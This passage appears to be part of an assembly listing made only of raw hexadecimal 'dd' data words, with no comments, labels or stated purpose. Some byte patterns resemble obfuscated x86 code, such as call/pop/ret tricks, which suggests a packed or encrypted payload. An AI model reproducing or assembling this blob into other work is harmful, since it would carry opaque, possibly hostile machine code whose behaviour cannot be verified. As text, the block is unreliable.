0DB7FD0B9h dd 0ECDA5795h, 0D8C66864h, 9F8D5488h, 0F2781AD2h, 0A970BF61h dd 0A93AB2BBh, 85CB6FC0h, 0E3B98047h, 0B7D8D094h, 0EE6BFC82h dd 0B22A3927h, 0BE0BBA21h, 4D1512Fh, 46000001h, 0A06741F3h dd 74D87ACAh, 4CEE74B4h, 59D6165Eh, 45E7E56Bh, 0B09A0957h dd 0D18AACC0h, 2473159Bh, 3E46EA3Bh, 0EBDA41BEh, 0F1512FE8h dd 31h, 6B4DF366h, 3699CEA4h, 0B73DBE27h, 36383F15h, 0A790BE27h dd 0A0782856h, 366403D9h, 4CD2BE27h, 0ABC99785h, 8628A4h dd 176CE97Ah, 0A3h, 0A8B6A48Ch, 0A74983CCh, 73F99B21h dd 76366AE2h, 0A269EFEDh, 393E14DBh, 0DDBE2736h, 0E4F0C657h dd 6AB47526h, 232F1DE4h, 0F08107A9h, 0DC10604Eh, 0E9E3715Fh dd 27057147h, 0F6DFB7D9h, 797301A5h, 0F8D084FCh, 0DC995B31h dd 0B877AE2Fh, 502AEBD2h, 3DDF65CBh, 29CB014Fh, 13B5373Bh dd 0FEA05C25h, 0C9469780h, 0B8184F3h, 860C92BEh, 51CE1F08h dd 50E11B63h, 9AE4A4D8h, 4E15DC62h, 33D51760h, 0AE461CADh dd 0FEB46236h, 0EA8C4010h, 0E86ED364h, 0F3845A21h, 0C9B7D843h dd 0B97AD740h, 51D73C03h, 0F3B843C0h, 0CAA06741h, 0B47DEC2Ah dd 0CEBC5EE4h, 2C94686h, 1CAACA43h, 0D1AE3146h, 0A05FE5B7h dd 7203DBB2h, 5E00FC84h, 85C7D897h, 78F22D11h, 3B0961B9h dd 67F801E5h, 65E73F91h, 2879623Ch, 8300FC84h, 229BFDBCh dd 1BFE08D1h, 18D49C8Ah, 0FC8876h, 0A6F7E05Eh, 0FD7A7202h dd 0DE996F36h, 308060D2h, 36BC3042h, 33A9B7A5h, 153C91h dd 1FB10000h, 0BCBB9158h, 5ABE2736h, 36BABD93h, 0D65CBE27h dd 7D34BF50h, 6A58FAF2h, 5240E21Ah, 3927C903h, 2311B329h dd 1200A25Ah, 0F7E58745h, 0DFCD6F6Dh, 0C5B35597h, 129E40BCh dd 1C868h, 24348900h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 0E682414h, 8900001Eh, 0BB53241Ch, 655468Ah dd 545B5A53h, 83241C8Bh, 815204C4h, 6904242Ch, 438F1951h dd 8438108h, 19516904h, 5B2434FFh, 4C481h, 34FF0000h, 0C4835A24h dd 3437E904h, 0BB3DFFF9h, 554AFAB8h, 0FFC50306h, 0D90F2BE0h dd 0D227FD6Fh, 22BDAD09h, 840607Fh, 0E550C61h, 0BCBB6634h dd 0F9BC1752h, 0ACEFF156h, 6268040Ah, 0D7A16417h, 0E811F47Dh dd 0EF79EC14h, 4A3E4321h, 80AE8C4Fh, 3A580573h, 3FC0E86Ch dd 0DE79887Ah, 409F4E4Eh, 0DB8FEC50h, 4AC0BD3Dh, 0D04F1F0Eh dd 0A43B0D5Ch, 8EFCBC6Dh, 0B534D969h, 3BE9A18h, 0A1D1163Dh dd 9C8D8D41h, 6A06554Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0FFECC352h, 0EF55745Ch dd 89C18B45h, 4E2B058Dh, 85C7F906h, 64E2B65h, 61E8h, 13E956h dd 0F2C10000h, 0D524ABDCh, 12CFA0h, 5DB22064h, 7281E650h dd 85C75AEDh, 64E065Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1CC35242h dd 0FFF8B70Fh, 4E19D1B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0D8807442h dd 9995FF69h, 6A064E0Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 66D0C356h, 6AA884BBh dd 5995FF00h, 8B064E1Ah, 0E35BEBC0h, 8A82A2BEh, 0C3322CA7h dd 0D5CC7AEBh, 90F2358h, 9237AD0Ah, 9A689087h, 34913AFFh dd 0E7A637D1h, 0AD866181h, 78A1C07Bh, 0FBF786DBh, 8D7A92F0h dd 25B331Ah, 64F0DDFBh, 89F2BC10h, 7F066101h, 41E3D539h dd 5774965Ch, 0F8A49F87h, 0EFAB8536h, 551348FBh, 171B7534h dd 4EBB64Ch, 1D1ED9A7h, 57FE9h, 3F98400h, 11CB9886h, 24D8A694h dd 2DAFB9A7h, 37B5C2B0h, 78BA69BAh, 8270EDEFh, 917FFCF0h dd 9F8D0AC2h, 0C59E1BD1h, 0E94F28FEh, 0E4BFB7D1h, 0F5F77D59h dd 0C9986F2Eh, 8211F3F2h, 14614FF1h, 5B2311D8h, 0BAD2F39h dd 0D75DFF85h, 0D1629AE9h, 0D39F8D54h, 63B87719h, 0F5723574h dd 0A23CFB81h, 0EF635A8Ah, 2D3321B2h, 511F0DAFh, 370DD49Bh dd 0BE26F140h, 15B748CEh, 0E2238F4Eh, 16A61735h, 12CA9785h dd 62B39C70h, 81CEB6BEh, 0B7BBA94Bh, 0AC29AF35h, 0B835B7BEh dd 817B03F1h, 797302F0h, 3EBEC4B2h, 0E385169Ch, 0E5366DF5h dd 65F9AF27h, 66E4860Ch, 0F9882C7Dh, 38BA95CAh, 8C12B428h dd 0CA433BCDh, 42BE7D44h, 57947A7Ah, 25139021h, 0AF2D355Fh dd 5F01870Dh, 2704EB89h, 0A4F5DEBEh, 0B02C3927h, 0F20DB81Fh dd 78CF577Dh, 8000000h, 55C1A749h, 0CD5E3CCFh, 0F5F77D42h dd 36FC7D53h, 0E6CFBE27h, 244D7895h, 18F577Eh, 4000000h dd 0E1B7F47Dh, 0BE273696h, 0CA6CF278h, 0B35597DCh, 7A72FEECh dd 7B71FBE9h, 2B9C6B4h, 27364B2Ch, 0BF45CBBEh, 6406971Dh dd 4CEEEE76h, 33D5175Eh, 0E925765Fh, 11604E15h, 10614ADBh dd 68E5E76Ch, 75F2EA7Ah, 6611E7AEh, 46BE2736h, 27370770h dd 1C8107BEh, 0A47A0596h, 0CBCD31E5h, 36429157h, 364230B6h dd 0FD8E14B6h, 0E486460Fh, 7E4C5E1Dh, 0C7795EA0h, 0C13B4836h dd 96E7D01Fh, 0A5272B19h, 0FEEC7D03h, 914B1371h, 66E369EFh dd 52F4E878h, 1BE21A64h, 17A8242Dh, 4C9D8675h, 7D5FE62Fh dd 855857h, 7DCD0000h, 4735FCF0h, 951BBD3Fh, 0EA746204h dd 5F01FB8Ah, 0DDB153D9h, 76FFA3F4h, 0B2C1AF76h, 0DA9D733Ah dd 3CBE2736h, 0BAA825B6h, 0A9682FADh, 0C9A40E56h, 0A2D5AB8Ch dd 74BE272Fh, 35D768EEh, 1DBF3D47h, 0E879672Eh, 3BCC52F4h dd 31E40152h, 0EB577E34h, 57h, 0FCF07D60h, 0AEE56C5Ah dd 0CE173BBDh, 39DB611Fh, 0FD7ACBB4h, 8804343Eh, 3D8FA26Dh dd 6E09C85Fh, 4634C5B1h, 61338A39h, 79FEFA89h, 7DEB76F3h dd 8F56F8F4h, 150FCBD0h, 26BC383Fh, 9150D6BEh, 2EBF9A74h dd 26461C58h, 71C2ABBEh, 7D337154h, 16B57h, 7DE00000h dd 12CA93F1h, 972BEA70h, 0D5EEF1B1h, 3A28EF75h, 7B1DAE2Eh dd 6305C78Dh, 4DEFED75h, 34D6165Fh, 0F8E0976Dh, 0A82EBE26h dd 0ADE93A23h, 78F5462Fh, 0F89CDBB1h, 0F47ABE26h, 0F3E97563h dd 5F0AF76h, 0A5855700h, 0CBC94857h, 0F32CA20Ch, 25B6EA62h dd 82CF74F4h, 0C0278B4Ah, 3F2DF47Ah, 8E14B636h, 206036FDh dd 0ACB4742Fh, 9A3CB0BEh, 981E8314h, 34412FF6h, 2B3927B8h dd 3E4634B1h, 33461CBEh, 0BFB7D878h, 93E185D6h, 66EEDC59h dd 0BDAC6625h, 0DF9C5650h, 0D83E6E09h, 3D9A0B7h, 0B7D83E74h dd 10961CA2h, 94F0806Eh, 0C58C12CAh, 0ADE28706h, 12004BEDh dd 55F78844h, 0A2783F06h, 0B7D890D5h, 3922B339h, 873C44E8h dd 48DC819Ah, 0D653D911h, 2FA9566Fh, 10B8851h, 0F3FD0000h dd 0CAA06741h, 0B474D87Ah, 5E4CEE74h, 6B59D616h, 7990AEE5h dd 9410A164h, 0F67E6C0Eh, 196654F6h, 95341E3h, 43E5E76Bh dd 109537BDh, 4B9AD627h, 0E76D1162h, 0C40168E5h, 3B512FAFh dd 23C5074Dh, 3B240C9Dh, 99000000h, 0A46B4DF3h, 273699CEh dd 15B73DBEh, 2736383Fh, 56A790BEh, 895F7828h, 0BE2736EEh dd 4D149A20h, 10CC9886h, 8157E86Eh, 0BE2736E6h, 7E45C248h dd 7B0CC090h, 8826h, 41F39B00h, 0ACAA067h, 0C4B47527h dd 0FA89773Eh, 0E1726002h, 3DC349EBh, 541C0AACh, 272D1B98h dd 492D03A5h, 23B7D926h, 0D8A7955Ch, 27294E24h, 67EDB7D9h dd 0F89CEDD6h, 1A5D3368h, 9AB7D927h, 0D927B3C4h, 78DD63B7h dd 22552BF2h, 0F4B7D927h, 0F36BE86Eh, 0CAA06741h, 0AE2FD2ABh dd 917F21A7h, 0E96709C3h, 0DF81AF00h, 0F399DEB4h, 0F77DBE0Bh dd 24E3AA71h, 7AB82CC0h, 14EA7BBCh, 0B462DB61h, 0EBE16F5Dh dd 0C03DC349h, 6741F335h, 0E1ABCAA0h, 21A7B47Dh, 9C3917Fh dd 0F006C58Ch, 0C92444DEh, 0FE867405h, 9A7037FEh, 0B7D206DDh dd 781AAB31h, 1E7001A2h, 84D5BE9Dh, 955C90E0h, 7B7FF8CEh dd 8735A108h, 73E4D8Ah, 51E268CDh, 34E0DD4h, 3AD3D90Ch dd 0EFED7462h, 4836C74Dh, 5B22C438h, 47E9E36Dh, 0AABA02C1h dd 1F7796F2h, 18D4A08Eh, 0BE0FF876h, 15924A1Ah, 0C6B1874Eh dd 0EEA10859h, 0A9FD6FA7h, 51D73C5Ah, 4A82D2C0h, 353A8h dd 1FC80000h, 0FAF27D94h, 0E21A6A58h, 0C9035240h, 0B3293927h dd 0A25A2311h, 87451200h, 6F6DF7E5h, 5597DFCDh, 40BCC5B3h dd 5451129Eh, 4C18159h, 83000000h, 0C8704E9h, 89535C24h dd 4C381E3h, 83000000h, 1C8704EBh, 34895C24h, 6AA46824h dd 1C890000h, 5DB95124h, 0F7308D28h, 81D1F7D1h, 0B9D09BE9h dd 59CE89CDh, 0DE3CE81h, 0EEC1322Dh, 8E6C103h, 5107C681h dd 6C68A669h, 8900000Eh, 4832424h, 565B0424h, 0FF08438Fh dd 835B2434h, 348B04C4h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 0F92D0CE9h, 6FF339FFh, 555200B8h, 0FFC50306h dd 4185E1E0h, 2784B84Fh, 893F24Ah, 9122ED16h, 12E70701h dd 1DA94704h, 0F648E64Ch, 58755E6Ch, 0AC37A475h, 65AC0979h dd 8404EB33h, 0E934E72Dh, 50Ah, 3BB8343Fh, 4BC8044Dh, 5EDB115Dh dd 6BE8E470h, 7FFCF07Dh, 303DF52Eh, 1513FBCh, 11604ECBh dd 0E0705EDBh, 0CF966FECh, 0D1E47EF9h, 2AB590B7h, 53F5F77Dh dd 0F77C1865h, 0DFCD53F5h, 33B95B91h, 324230ADh, 0DDCB0152h dd 9D05696h, 32658A4Ah, 0CD5E52D7h, 0B5373D2Bh, 145E4C13h dd 85947D8h, 755E32D4h, 0C3F08024h, 0B04A5C70h, 82FF8575h dd 920FCD94h, 7D1FDDA4h, 4209C38Fh, 2BCD0F54h, 6F08DEA5h dd 9FBE2657h, 68E68819h, 2EAEB3A1h, 0BF63B49Dh, 158ED4B0h dd 0D244652Eh, 3BDD639Eh, 0C4B22FB5h, 0C89E40BCh, 0BE2640ACh dd 0C4E1321Bh, 577D2E01h, 44DBh, 5F4D1400h, 7700D616h dd 97BE263Ch, 7DF58011h, 8C53F5F7h, 791BD19Eh, 0ED8C62F3h dd 0E2BE2736h, 3A8BA8F9h, 0A4577E24h, 1, 0F8F47D19h, 0E11B6856h dd 0C507513Fh, 15664F23h, 6FECE071h, 7CF9F381h, 0FCF07DF1h dd 7DE76C5Ah, 0CF71F7F5h, 0A2469780h, 0AC9A17D5h, 988628A4h dd 7D6C0ECEh, 0EF264394h, 2D577E3Ah, 9Dh, 0A8B6A4A2h, 7B0C9234h dd 450CC08Dh, 36CFA87Eh, 0B93FBE27h, 0F8BF8628h, 27365522h dd 0A233B9BEh, 9032AAB4h, 0F0DDD6A2h, 7E800AD7h, 0DFCD6FF5h dd 34B95B91h, 0EABEFA4Bh, 430CB001h, 0EB615221h, 74B301ABh dd 0B936BC42h, 303D2BF2h, 0BE941ABCh, 0BE265AB9h, 0AF518BD4h dd 0AD3EC429h, 9436B6BFh, 8022DAA6h, 3A57A891h, 577D5EDBh dd 0A1F6C382h, 4D0CC091h, 5FF0C31Dh, 4477h, 0B6A4EC00h dd 0B4A233A9h, 0C88F31ABh, 364C2B01h, 44CABE27h, 3EBEC5B3h dd 0DD2E179Ch, 33B02C39h, 0B7F47DA8h, 273696E1h, 6CF278BEh dd 3680F4CAh, 5E47BE27h, 23D5F00Dh, 607577Eh, 40000000h dd 35C60652h, 0BAF17DAAh, 273693E4h, 36FD83BEh, 27361760h dd 0EB71F7BEh, 9E155B49h, 72393C9h, 1794F104h, 0DBEA601Fh dd 9513B53Bh, 1FDE5BACh, 0D037E445h, 0E4D26393h, 1EE5629Ah dd 39F68157h, 9218BE26h, 0FDD78901h, 0C4206036h, 0BEACB473h dd 41A637B5h, 0E5D30953h, 14DB619Bh, 76595C55h, 8F90524Ch dd 69632214h, 993BCC0Ch, 0AA27A5ABh, 9638B4BCh, 0D8AEB9C0h dd 88763DB7h, 0D55BFDFFh, 660A5B44h, 7361DE1Eh, 6128EFEDh dd 18EEEE73h, 0B7D8AE5Fh, 0F69829AFh, 0E2847808h, 96DECC93h dd 9D2EB456h, 0B1BF63B4h, 9F7BE3Bh, 89F0817Bh, 512F9C3Ch dd 128A2h, 41F31700h, 0DA7C70FFh, 1907CE54h, 68EE904Ch dd 0A3A10D7h, 4B474D8h, 0B9C9B77Eh, 8A1BA143h, 726AFAE8h dd 5A73ECABh, 2EC787CDh, 9526AC20h, 0A25A2A18h, 49421200h dd 0D9060473h, 5A2412B7h, 0F47A00A2h, 947DCC6Eh, 1BD19F43h dd 2210D79Eh, 0B3C49A52h, 63B7D905h, 374016DDh, 0D7B7D905h dd 6C59C051h, 72512FF2h, 3Dh, 0A8B6A4E7h, 52BA334h, 6106DCA3h dd 0D5BE2736h, 0A0D7AD4Fh, 28BE2736h, 90C0EE3Fh, 0CC9B7138h dd 6ABE2736h, 25E1DE4h, 0A993FA7Eh, 6B6C0BE1h, 24AABE26h dd 3B900D9Eh, 81h, 6741F3B0h, 270ACAA0h, 3EC4B475h, 98E7D59Ch dd 8BD4C264h, 4C3ACB51h, 844BC804h, 5720F6BDh, 0B7B7D927h dd 271C5B31h, 74FAB7D9h, 6D6FF5E3h, 2681F5CBh, 725BB7D9h dd 0AFB6A421h, 0A4CC8B2Dh, 5D73C18h, 4533C44Ah, 0C840BD3Fh dd 9F753C94h, 0AE2F091Dh, 7D6B0D93h, 0D553F5F7h, 301E9BECh dd 0A119AA22h, 784E15FFh, 0B461BB44h, 0A66D34BAh, 0D8A7A7D0h dd 71A867B7h, 47758BA9h, 74F18208h, 7DDA4E9h, 0BE273670h dd 5B2A189Eh, 0E49810A1h, 67C38DD3h, 0D6C49671h, 25AB4D8Fh dd 0BA02D89Fh, 34B47C99h, 9228E7AEh, 3965EA4Bh, 5696E2D0h dd 0FB9D2EB4h, 6E44470Dh, 0B7D1DC09h, 3A01870Dh, 26C8044Ch dd 0A4920FA0h, 6E09DFDCh, 0A0B7D1DBh, 1CF2941Ah, 45436198h dd 29CD1E07h, 3624A15Bh, 450CAE2Eh, 0A70A4D86h, 6BFCEEB9h dd 57F9F37Dh, 0FB9FF0D9h, 33FA7775h, 0D0BE3E45h, 0CBB94A82h dd 47300685h, 0C7893F9Dh, 0C419BB41h, 0Dh, 91581F39h, 2736BCBBh dd 43D45ABEh, 0FAF27DB8h, 0E21A6A58h, 0C9035240h, 0B3293927h dd 0A25A2311h, 87451200h, 6F6DF7E5h, 5597DFCDh, 40BCC5B3h dd 0EC83129Eh, 24048904h, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch, 0EC81242Ch, 4, 56240489h, 2B4E98BEh, 81DEF76Ch dd 24715BF6h, 1EE8111h, 81000000h, 0C64AB0E6h, 0C681464Fh dd 3951291h, 685EF589h, 11DBh, 81242489h, 42404h, 52580000h dd 8BAh, 89C20100h, 24148B2Ah, 0FF04C483h, 83582434h, 34FF04C4h dd 0C4835D24h, 27CFE904h, 0B58DFFF9h, 0A29061E3h, 0A97C2514h dd 44B8186Fh, 3065557h, 0ECE0FFC5h, 0BA336E9Ch, 3E621EC7h dd 0E4069E19h, 407EC8D7h, 0EE17CB25h, 0B6286917h, 321602F5h dd 552AC6A9h, 9D210CDAh, 41253C85h, 0D60B8BB1h, 0EF204D8Ah dd 0BC55CE14h, 2358ED1Ah, 530B3ECEh, 0FF4E2A91h, 0FD2BEFADh dd 5956EE2Bh, 0F723049h, 0EF32DBABh, 0DF35ABE9h, 35409C79h dd 0EB0B1F43h, 24438F53h, 155EC13Eh, 76398230h, 0C06D3D2Eh dd 8D48151Bh, 55592F8Dh, 0FE906h, 6B330000h, 0A6737084h dd 2E3996ABh, 0D9E99747h, 58D890Dh, 6A064E2Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0C0FFC352h, 14E905h, 21640000h, 15C0EFEAh, 66CD7F3Ah dd 468421F6h, 0F0404683h, 85C73E21h, 64E2B65h, 647Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 50C35040h, 55D0196Fh dd 974CFEBBh, 0A5958926h, 0C7064E0Dh, 4E065D85h, 6, 3D9D8B00h dd 0FF064E1Fh, 4E0595B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 922928E6h dd 0C56DD19h, 7E8FF3Ch, 0F1000000h, 0DEE6C739h, 9D8930FAh dd 64E264Dh, 9995FF58h, 80064E0Fh, 6A7DD2h, 1A5995FFh dd 0C08B064Eh, 487109EBh, 0EB8C09B9h, 0EBE5879Dh, 1451AD04h dd 505E91Ah, 0BAC50000h, 8AD7C542h, 9FE7D552h, 66F2E05Dh dd 72FBE966h, 77ACFD7Ah, 0BD3AB2BBh, 0CC4983CFh, 0D85597DEh dd 0E5629AEAh, 86F450Ch, 6B7D1DEh, 0F77DA02Bh, 0DFA3C18Dh dd 6FF57B1Dh, 0C5947E9h, 1F6553D0h, 74D3BDDh, 2C3523C5h dd 1CBE3E48h, 9A6E1096h, 0B4BC60B1h, 86CDBB38h, 94DBC946h dd 0BAC8B658h, 5B22A042h, 44E6E66Dh, 0F3442DBEh, 0B58B004Fh dd 0BE2736C2h, 0CB48CE54h, 274D1604h, 7C1EA458h, 817B08F6h dd 0DAC859DFh, 0DAB0528Ah, 0BE27369Ah, 0D6F3442Dh, 577E23EFh dd 9953200Eh, 827A09F7h, 43D45AE0h, 455Bh, 0F77DD000h dd 0FC7D53F5h, 0CFBE2736h, 4D7895E6h, 8F577E24h, 0Fh, 59B109C8h dd 6B70180Bh, 55F7F57Dh, 7DB33ECFh, 6856F8F4h, 513FE11Bh dd 4F23C507h, 0E0711566h, 0F3816FECh, 3F4432F9h, 4951BBDh dd 0F07DFC87h, 69B18FC3h, 6CF21243h, 4CA6E6A5h, 0F151244Eh dd 9F7BE60h, 2F0817Bh, 8AD97B71h, 0A3AC50A1h, 0B6BEAC29h dd 0F1816F36h, 0DAC86AFBh, 3E390F8Ch, 0D0BE26FCh, 0E4C49611h dd 0BC426DEFh, 0DFA69436h, 0C08D7B1Dh, 0F77C6A0Ch, 4FCD53F5h dd 0E1711566h, 8D7665EBh, 76F61F3Ch, 7228577Dh, 61000000h dd 1D9BCFA2h, 68F9E7AAh, 0FCF07DDDh, 0EAE26C5Ah, 3A8B7448h dd 0E480CFBDh, 48D95F9Dh, 52CF0D5Ah, 3FE11B64h, 0FEC50751h dd 36166137h, 72F8BE27h, 89503FE1h, 3A1582CAh, 57E84DEDh dd 15001D6Eh, 7577DF4h, 4Ah, 0FCF07D7Ch, 7FE56C5Ah, 0A86FF5F7h dd 0D1FBA8BAh, 4C72BD3h, 0AC32D45Ah, 8EDC34EDh, 1AABEE5Ah dd 0B90AF378h, 17944815h, 0ACB6A48Ch, 0A0B19F30h, 0EB77652Ch dd 0E8BE60F1h, 0BE27368Ch, 0E401523Bh, 577E23E1h, 1FBh dd 0F17D7000h, 0CB9259FBh, 273682F5h, 7D0E94BEh, 440BC18Fh dd 2ED00C56h, 0F77517A8h, 0CE677130h, 0FDA0D7ADh, 0E86EBE26h dd 753B3E29h, 6AAFBE4h, 8F078478h, 975FCAEDh, 0FAABAB9Dh dd 0A9D7AD74h, 97B473DDh, 0F3816F11h, 267332F9h, 21E70A8h dd 6D0AE0A7h, 0A1B7D8CEh, 1F0D8A1Bh, 32F99B51h, 1DBF3D44h dd 49300697h, 0ADB7D8CEh, 6D6FF8E6h, 5B820CCBh, 0F4006DAh dd 8BECC289h, 8BB7D8F6h, 3A8B7405h, 470ECE96h, 3970C59h dd 0D2155EDh, 60DD6EF4h, 48EAE272h, 30D20A5Ah, 3A7F8E1h dd 0F1B87F7Dh, 0D8EE5C1Bh, 0A334BAB7h, 0DC06BF26h, 3BD8512Fh dd 4D000001h, 0A06741F3h, 6567EBD9h, 0D6AC3DC3h, 0B474D86Eh dd 0E6E67260h, 0CE0E5644h, 0D3095A48h, 5E25AB31h, 0F8E6E670h dd 41E37468h, 18670D53h, 990F3FABh, 62E8EBADh, 0EDB43AC0h dd 0FBB0A12Eh, 0E677DEE4h, 0ABB4A269h, 78098F31h dd 3B02FA8Ah, 36C7054Dh, 0B6DEA694h, 68C2EAEh, 0A68FDE80h dd 9CEAD855h, 93E1CF60h, 2715DC59h, 76FC9E5Eh, 0FF477EE5h dd 0C8B6512Fh, 1AA042BAh, 3BA189h, 0F3160000h, 0E5A46B4Dh dd 996F897Dh, 0BE2643DEh, 9EBAA30h, 440B9C62h, 270CF96Eh dd 35D75DBEh, 270C185Fh, 76C7B0BEh, 0C581848h, 0AD834AD0h dd 0BE270CBAh, 0C419961Ch, 82h, 6741F339h, 270ACAA0h, 3EC4B475h dd 26A6AE9Ch, 318AA05Fh, 63625AE2h, 0BA40E21Ah, 3826A334h dd 0C8044C28h, 0ACCAA042h, 86B7D86Dh, 0D8A84C9Dh, 0A8E856EBh dd 0D8F4A5D2h, 24E369B7h, 0F5E3C652h, 49CF716Bh, 0AACE46C3h dd 0CA508CDAh, 0E5092D03h, 7D03AE2Eh, 6567EDDBh, 4F8DD5C3h dd 39B3BFADh, 1FDDA997h, 634CF77Dh, 6F58D612h, 644CF01Eh dd 9C6FC79Dh, 0A269B461h, 0D88AABCCh, 5FE56BB7h, 41F357E2h dd 1AD9A067h, 50A3AC59h, 9F24E3CEh, 3EB3D914h, 1B1BF182h dd 95B47D3Dh, 0F17F6D0Fh, 384634FBh, 0B9C22C4h, 1CD0A08Eh dd 1A0AA47Ah, 0AC959C11h, 33A9B75Bh, 5D2BAD6Ch, 8CA95E81h dd 98156EBBh, 4951B4Eh, 11CB9987h, 0BCF7816Fh, 6377783Dh dd 0C668EEBDh, 0E4BA8148h, 0A4132293h, 836CFD83h, 0CDC68E32h dd 0B89A22h, 744A11F9h, 0A4129C03h, 8A078D13h, 0DB904C3h dd 83653903h, 0BFBD1373h, 17A82EC6h, 0FFA15B29h, 3AAh dd 941F1F00h, 58FAF27Dh, 40E21A6Ah, 27C90352h, 11B32939h dd 0A25A23h, 0E5874512h, 0CD6F6DF7h, 0B35597DFh, 9E40BCC5h dd 695A6812h, 0C890000h, 4EC8324h, 68242C89h, 3B64h, 52240C89h dd 555948BAh, 8BD58906h, 0C4812414h, 4, 240C8B54h, 5004C483h dd 912BD55h, 0E5814BD6h, 69CF6109h, 0F8ED81h, 0E88949C6h dd 89C8015Dh, 0C8B5828h, 0E7895724h, 4C781h, 0C7830000h dd 243C8704h, 242C8B5Ch, 81E78957h, 4C7h, 4C78300h, 5C243C87h dd 0F92148E9h, 94EF7EFFh, 0B88630A2h, 6555DD3h, 0E0FFC503h dd 1FA0D863h, 3CB4088Ah, 78F5891Eh, 41EF5A89h, 3C1BF1C5h dd 10EBh, 3 dup(0) dd 0C08B0000h, 0D5858B60h, 0FC064E18h, 45BD8361h, 64E2Dh dd 0BD830975h, 64E19E1h, 50197400h, 0B8C08B53h, 42Dh, 21B98589h dd 9D8D064Eh, 650B941h, 585BD3FFh, 19E1BD83h, 7400064Eh dd 0B8535017h, 42Dh, 21B98589h, 9D8D064Eh, 650B630h, 585BD3FFh dd 2601958Bh, 8A0F064Eh, 6, 2699B52Bh, 0BE66064Eh, 0C08B887Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DDC35242h dd 0F6B71A89h, 816692C0h, 8BA83FD6h, 4E09098Dh, 0CE806h dd 0B8170000h, 46BE1FD8h, 4C0FA015h, 835E278Eh, 840F00F9h dd 8Dh, 2C3D8B64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 8A3C356h, 209DEE81h dd 0FF0B4ADBh, 5B840Fh, 5E90000h, 0BD000000h, 113E312Bh dd 6A3F8Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 320AD1C3h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0B6D26F43h, 8849124Eh dd 22F9D4BEh, 0BAAF31Ch, 4E060995h, 41493506h, 0B5895350h dd 64E0AB5h, 0DF1B58Bh, 85C6064Eh, 64E0401h, 50006A47h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0C68B2923h, 0B70F52CFh, 53685EF7h, 60766BC6h, 0F525053h dd 5E585A31h, 24048161h, 666AC1D9h, 0B5FFD08Ah, 64E24C9h dd 5FEE8166h, 21858D47h, 6A06517Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6782C357h dd 4FEF7F0Ch, 6784F0BDh, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0F60AAC3h, 589h, 2CE6BA00h dd 0C1814CE6h, 6240C1Fh, 3BDE8161h, 895C3098h, 4E0E4185h dd 10E906h, 7E9E0000h, 0A57E35D8h, 0EB1E9CF0h, 0DB3812D7h dd 85C66846h, 64E0401h, 61B58B53h, 68064E30h, 0C943E83Bh dd 81F78B66h, 82C72434h, 0B5FF41DBh, 64E24C9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 9CC35141h, 0CFBF6001h dd 8B12538Dh, 4E26C9B5h, 858D6106h, 6517D21h, 0D0FFF78Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 58C35747h dd 8BA6D3BDh, 88858DA5h, 0F065146h, 97B2D0BFh, 22318589h dd 8589064Eh, 64E1F09h, 0FF6A206Ah, 223195FFh, 4935064Eh dd 0C7535041h, 4E12CD85h, 106h, 0A985C700h, 64E0Bh, 23000000h dd 4E26A9B5h, 0FBE28106h, 8B63EC35h, 4E28D1B5h, 0F1BD8306h dd 64E19h, 0A2840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0D84E5CC3h, 7E9FC165h dd 0EA8166EFh, 858B3C34h, 64E1439h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0E4C35040h, 602ADE16h, 107AD723h dd 10E8h, 30CCE700h, 1E502580h, 0DEAC3277h, 4BE35760h dd 41BD8958h, 5A064E08h, 0BE860h, 46A10000h, 6813ED46h dd 694EAFC7h, 585A50E0h, 191DB58Bh, 6461064Eh, 0A3h, 3D958900h dd 8B064E0Bh, 4E0D6D85h, 8BF58A06h, 0D08B66E0h, 1FC9BD83h dd 0F00064Eh, 3CC85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0C6E9116Bh, 4E040185h dd 0B58B5606h, 64E07DDh, 507CE368h, 11E996h, 463E0000h dd 0C8C87195h, 0DACA6649h, 50C2BBF0h, 81ACC8B5h, 4C3C2434h dd 0BE663F95h, 0B5FF6C77h, 64E24C9h, 12B5B58Bh, 858D064Eh dd 6517D21h, 2C99958Bh, 2BB2064Eh, 0E680D0FFh, 0BE6650C5h dd 489910Ch, 8DD18A24h, 4E14098Dh, 12BE6606h, 0CE825h dd 0F2270000h, 5FC0D932h, 1A25C20Eh, 8D8978DBh, 64E329Dh dd 8E0F505Eh, 0Ah, 61605250h, 5E50310Fh, 0C89585Ah, 0F046A24h dd 8E68D0BFh, 816DE61Fh, 0F8E2434h, 0F536DE6h, 587h, 0EE816600h dd 15E4C64h, 4E0F21B5h, 3DB5FF06h, 8B064E10h, 4E1435B5h dd 0E9D0FF06h, 13h, 0CDC98ED6h, 0E317D880h, 44F408Bh, 0EA9DDAAh dd 8B6DB9A4h, 4E103DBDh, 0A9BD8906h, 3064E22h, 95893C7Fh dd 64E0F31h, 0E99B58Bh, 0C781064Eh, 